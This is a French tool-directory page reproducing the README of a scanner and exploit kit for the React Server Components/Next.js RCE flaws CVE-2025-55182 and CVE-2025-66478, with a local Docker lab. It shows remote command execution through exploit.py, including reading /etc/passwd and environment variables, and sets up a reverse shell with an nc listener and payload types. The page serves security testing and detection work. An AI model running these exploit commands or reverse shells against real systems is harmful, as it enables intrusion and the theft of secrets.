Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
react2shell-scanner-CVE-2025-55182 — React2shell-web-scanner | Kitploit
Outils/GitHubGitHub/security-phoenix-demo/react2shell-scanner-cve-2025-55182
Gestion des Indicateurs de Compromission (IOC)Scanners de VulnérabilitésExploitationExploitation d'Applications WebRenseignement sur les MenacesÉnumération de Sous-domainesApprentissage et ÉducationDéveloppement de Charges UtilesLabs et Pratique

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
GitHubsecurity-phoenix-demo/react2shell-scanner-cve-2025-55182

react2shell-scanner-CVE-2025-55182

React2shell-web-scanner

Voir le dépôt
25il y a 8 moisPas encore vérifié
Partager

Scanner d'entreprise React2Shell

Scanner de vulnérabilités haute fidélité pour CVE-2025-55182 et CVE-2025-66478 - Vulnérabilités d'exécution de code à distance dans les composants serveur React / Next.js.

📖 Pour une analyse technique détaillée, les mécanismes d'exploitation et les données IOC, voir SECURITY-RESEARCH.md


⚠️ AVERTISSEMENT

Cet outil est fourni UNIQUEMENT À DES FINS ÉDUCATIVES ET DE TEST DE SÉCURITÉ AUTORISÉS. L'accès non autorisé à des systèmes informatiques est illégal. Utilisez ces outils uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite de tester. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive.


🚨 Aperçu des vulnérabilités

CVEDescriptionCVSS
CVE-2025-55182Désérialisation non sécurisée des composants serveur React menant à une RCE9.8 Critique
CVE-2025-66478RCE via les actions serveur Next.js9.8 Critique

Paquets concernés :

  • react-server-dom-webpack : 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-turbopack : 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-parcel : 19.1.0, 19.1.1, 19.2.0

Versions corrigées :

  • 19.0.1, 19.1.2, 19.2.1 (pour tous les paquets)

✨ Fonctionnalités

  • Entrée multi-cibles : URL unique, fichiers d'hôtes, plages CIDR, plages IP
  • Énumération de sous-domaines : Découverte automatique des sous-domaines
  • Empreinte technologique : Détection de Next.js avant les tests
  • Mode de détection sécurisé : Détection par canal auxiliaire sans exécution de code
  • Vérification RCE : Preuve de concept arithmétique
  • Corrélation IOC : Vérification par rapport à une infrastructure malveillante connue
  • Intégration Phoenix Security : Téléversement des résultats vers la plateforme Phoenix
  • Scan concurrent : Multithreadé pour le passage à l'échelle

📦 Installation

Avec uv (recommandé)

root@kitploit:~
# Aucune installation nécessaire - uv gère les dépendances
uv run react2shell-scanner -u https://example.com

Avec pip

root@kitploit:~
pip install requests tqdm dnspython
python3 react2shell-scanner -u https://example.com

🚀 Utilisation

Scan de base

root@kitploit:~
# URL unique
python3 react2shell-scanner -u https://example.com

# Mode sécurisé (sans exécution de RCE)
python3 react2shell-scanner -u https://example.com --safe-check

# Depuis un fichier d'hôtes
python3 react2shell-scanner -l targets.txt -t 50 -o results.json

# Plage CIDR
python3 react2shell-scanner --cidr 192.168.1.0/24 --ports 80,443,3000

# Plusieurs plages CIDR
python3 react2shell-scanner --cidr 10.0.0.0/24 --cidr 172.16.0.0/24

Scan avancé

root@kitploit:~
# Énumération de sous-domaines
python3 react2shell-scanner -u example.com --enumerate-subdomains

# Dictionnaire personnalisé de sous-domaines
python3 react2shell-scanner -u example.com --enumerate-subdomains \
    --subdomain-wordlist "app,api,admin,portal,staging"

# Chemins personnalisés
python3 react2shell-scanner -u https://example.com \
    --path / --path /_next --path /api

# Ignorer l'empreinte (scanner tout)
python3 react2shell-scanner -l targets.txt --skip-fingerprint --force-scan

# Mode verbeux avec SSL désactivé
python3 react2shell-scanner -u https://example.com -k -v

Intégration Phoenix Security

root@kitploit:~
# Téléverser les résultats vers Phoenix
python3 react2shell-scanner -l targets.txt \
    --upload-phoenix \
    --phoenix-config .phoenix.config

# Mode débogage (sauvegarder les charges utiles)
python3 react2shell-scanner -l targets.txt \
    --upload-phoenix \
    --debug

# Téléverser tous les résultats (pas seulement les vulnérabilités)
python3 react2shell-scanner -l targets.txt \
    --upload-phoenix \
    --all-results

🔧 Configuration

Configuration Phoenix Security

Créez .phoenix.config :

root@kitploit:~
[phoenix]
client_id = votre_id_client_ici
client_secret = votre_secret_client_ici
api_base_url = https://api.demo.appsecphx.io
assessment_name = Scanner React2Shell - Vulnérabilités Web
import_type = new

Ou utilisez des variables d'environnement :

root@kitploit:~
export PHOENIX_CLIENT_ID=votre_id_client
export PHOENIX_CLIENT_SECRET=votre_secret_client
export PHOENIX_API_URL=https://api.demo.appsecphx.io
export PHOENIX_ASSESSMENT_NAME="Scanner React2Shell"

🧪 Laboratoire de test

Un environnement de test basé sur Docker est inclus. Voir Lab-instructions-sample.md pour une référence rapide.

root@kitploit:~
# Démarrer le laboratoire
cd test-lab/lab
docker-compose up -d

# Services :
# - Vulnérable : http://localhost:3011
# - Corrigé :    http://localhost:3012

# Tester l'instance vulnérable (collecte de preuves sécurisée)
python3 react2shell-scanner -u http://localhost:3011 -o evidence.json -e

# Tester l'instance corrigée  
python3 react2shell-scanner -u http://localhost:3012 -o evidence.json -e

# Lancer la démo complète
./test-and-demo.sh --full-demo

⚠️ Remarque : Les commandes d'exploitation (par exemple, exploit.py -c "whoami") déclenchent une VÉRITABLE RCE. Utilisez-les uniquement sur des conteneurs Docker locaux à des fins de recherche.

💻 Outil d'exploitation (exploit.py)

Exécutez des commandes sur des cibles vulnérables. Nécessite Python 3.11+

Installation

root@kitploit:~
cd test-lab
pip3.11 install -r requirements.txt
# Ou : pip3.11 install rich-click fake-useragent rich requests

Exemples d'exécution de commandes

root@kitploit:~
# Exécution de commande de base
python3.11 exploit.py -u http://localhost:3011 -c "whoami"
# Sortie : nextjs

python3.11 exploit.py -u http://localhost:3011 -c "id"
# Sortie : uid=1001(nextjs) gid=65533(nogroup) groups=65533(nogroup)

python3.11 exploit.py -u http://localhost:3011 -c "hostname"
# Sortie : 99e28775bf80 (ID du conteneur)

# Énumération du système
python3.11 exploit.py -u http://localhost:3011 -c "uname -a"
python3.11 exploit.py -u http://localhost:3011 -c "cat /etc/passwd"
python3.11 exploit.py -u http://localhost:3011 -c "env | head -20"

# Reconnaissance de l'application
python3.11 exploit.py -u http://localhost:3011 -c "pwd"
# Sortie : /app

python3.11 exploit.py -u http://localhost:3011 -c "ls -la"
python3.11 exploit.py -u http://localhost:3011 -c "cat package.json"
python3.11 exploit.py -u http://localhost:3011 -c "node --version"

# Informations réseau
python3.11 exploit.py -u http://localhost:3011 -c "cat /etc/hosts"
python3.11 exploit.py -u http://localhost:3011 -c "netstat -an | head -20"

# Énumération des processus
python3.11 exploit.py -u http://localhost:3011 -c "ps aux"

Shell inversé (avancé)

root@kitploit:~
# Obtenir la passerelle du réseau Docker
GATEWAY=$(docker network inspect lab_react-rsc-lab --format '{{range .IPAM.Config}}{{.Gateway}}{{end}}')

# Démarrer l'écouteur (dans un autre terminal)
nc -lvnp 4444

# Lancer le shell inversé
python3.11 exploit.py -u http://localhost:3011 -r -l $GATEWAY -p 4444 -P nc-mkfifo

# Types de charge utile disponibles : nc, nc-mkfifo, sh, bash, perl

Options d'exploitation

OptionDescription
-u, --urlURL cible (obligatoire)
-c, --cmdCommande à exécuter
-r, --reverseActiver le mode shell inversé
-l, --lhostHôte écouteur pour le shell inversé
-p, --lportPort écouteur pour le shell inversé
-P, --payloadType de charge utile : nc, nc-mkfifo, sh, bash, perl
--timeoutDélai d'attente de la requête (défaut : 10s)

📊 Formats de sortie

Sortie console

root@kitploit:~
[VULNÉRABLE] https://vulnerable.example.com
    Statut : 307
    Détection : rce_arithmetic_check
    
[CORRÉLATION IOC] 93.123.109.247
    L'IP 93.123.109.247 correspond à une infrastructure malveillante connue
    
[NEXTJS] https://safe.example.com v15.0.0

[NON VULN] https://other.example.com

Sortie JSON

root@kitploit:~
{
  "scan_time": "2025-12-08T10:00:00Z",
  "scanner": "Scanner React2Shell v2.0",
  "cves": ["CVE-2025-55182", "CVE-2025-66478"],
  "total_scanned": 100,
  "vulnerable_count": 3,
  "ioc_matches": 1,
  "results": [
    {
      "target": "https://vulnerable.example.com",
      "ip": "203.0.113.50",
      "fqdn": "vulnerable.example.com",
      "verdict": "VULNÉRABLE",
      "vulnerable": true,
      "nextjs_detected": true,
      "detection_method": "rce_arithmetic_check"
    }
  ]
}

🔍 Corrélation IOC

Le scanner inclut des indicateurs de compromission connus provenant de campagnes d'exploitation actives :

  • 32 IP malveillantes depuis payloads-exploits/iocs.csv
  • Charges utiles armées depuis payloads-exploits/weaponized-payloads
  • IOC étendus incluant domaines, URL, empreintes de fichiers et portefeuilles crypto dans payloads-exploits/iocs_patterns.csv

Les correspondances IOC détectées sont signalées avec une sévérité élevée.

Fichiers IOC

FichierContenu
iocs.csv32 IP malveillantes connues avec données de géolocalisation
iocs_patterns.csvIOC étendus : domaines C2, URL de droppers, empreintes de malwares, portefeuilles Monero
weaponized-payloadsCharges utiles d'attaques réelles observées lors d'exploitations actives
exploit-2025-55182Format brut de requête HTTP pour l'exploit

🛡️ Méthodes de détection

Vérification sécurisée par canal auxiliaire (--safe-check)

  • Envoie une charge utile malformée qui déclenche une réponse d'erreur
  • Aucune exécution de code sur la cible
  • Détecte si la cible présente une désérialisation vulnérable
  • Recommandé pour la reconnaissance passive

Vérification arithmétique RCE (par défaut)

  • Envoie une charge utile qui exécute echo $((41*271))
  • Vérifie que la réponse contient le résultat calculé (11111)
  • Confirme une capacité réelle d'exécution de code
  • Utiliser uniquement sur des cibles autorisées

📁 Structure du projet

root@kitploit:~
react2shell-scanner-CVE-2025-55182/
├── react2shell-scanner          # Script principal du scanner
├── cve-2025-66478-web-scan     # Référence du scanner original
├── nuclei-rules                 # Modèle Nuclei
├── test-and-demo.sh            # Automatisation des tests
├── README.md                    # Ce fichier
├── SECURITY-RESEARCH.md         # Analyse technique détaillée
├── Lab-instructions-sample.md   # Guide rapide de test en laboratoire
├── payloads-exploits/
│   ├── iocs.csv                 # IP malveillantes connues
│   ├── iocs_patterns.csv        # IOC étendus (domaines, URL, empreintes)
│   ├── weaponized-payloads      # Charges utiles d'attaques réelles
│   └── exploit-2025-55182       # Requête HTTP brute d'exploitation
└── test-lab/
    ├── exploit.py               # Outil d'exploitation
    ├── lab/
    │   ├── docker-compose.yml
    │   ├── vulnerable/          # Application Next.js vulnérable
    │   └── patched/             # Application Next.js corrigée
    └── packages/
        ├── vulnerable/          # Paquets npm vulnérables
        └── patched/             # Paquets npm corrigés

🔗 Dépôts associés

DépôtObjectif
react2shell-scanner-CVE-2025-55182Laboratoires, scanner et exploits (ce dépôt)
react2shell-scanner-rce-react-nextScanner complet avec interface web

⚠️ Avertissement légal

Cet outil est fourni pour des tests de sécurité autorisés uniquement. Vous devez avoir une autorisation écrite explicite avant de scanner une cible. Un scan non autorisé peut enfreindre les lois sur la cybercriminalité.

Utilisez-le de manière responsable :

  • Scannez uniquement les systèmes que vous possédez ou pour lesquels vous êtes autorisé à tester
  • Documentez votre autorisation
  • Signalez les vulnérabilités via les canaux appropriés
  • Respectez les pratiques de divulgation responsable

📚 Références

  • Avis CVE-2025-55182
  • Blog de sécurité React
  • Avis de sécurité Next.js GHSA-9qr9-h5gf-34mp
  • Journal des modifications Vercel
  • Recherche Assetnote

🙏 Crédits

  • Équipe de recherche en sécurité Assetnote - Recherche originale sur les vulnérabilités
  • Chocapikk - Développement de l'exploitation
  • Phoenix Security - Intégration de la plateforme

Apporté par des chercheurs en sécurité qui travaillent pour rendre le web plus sûr.

Télécharger l’outil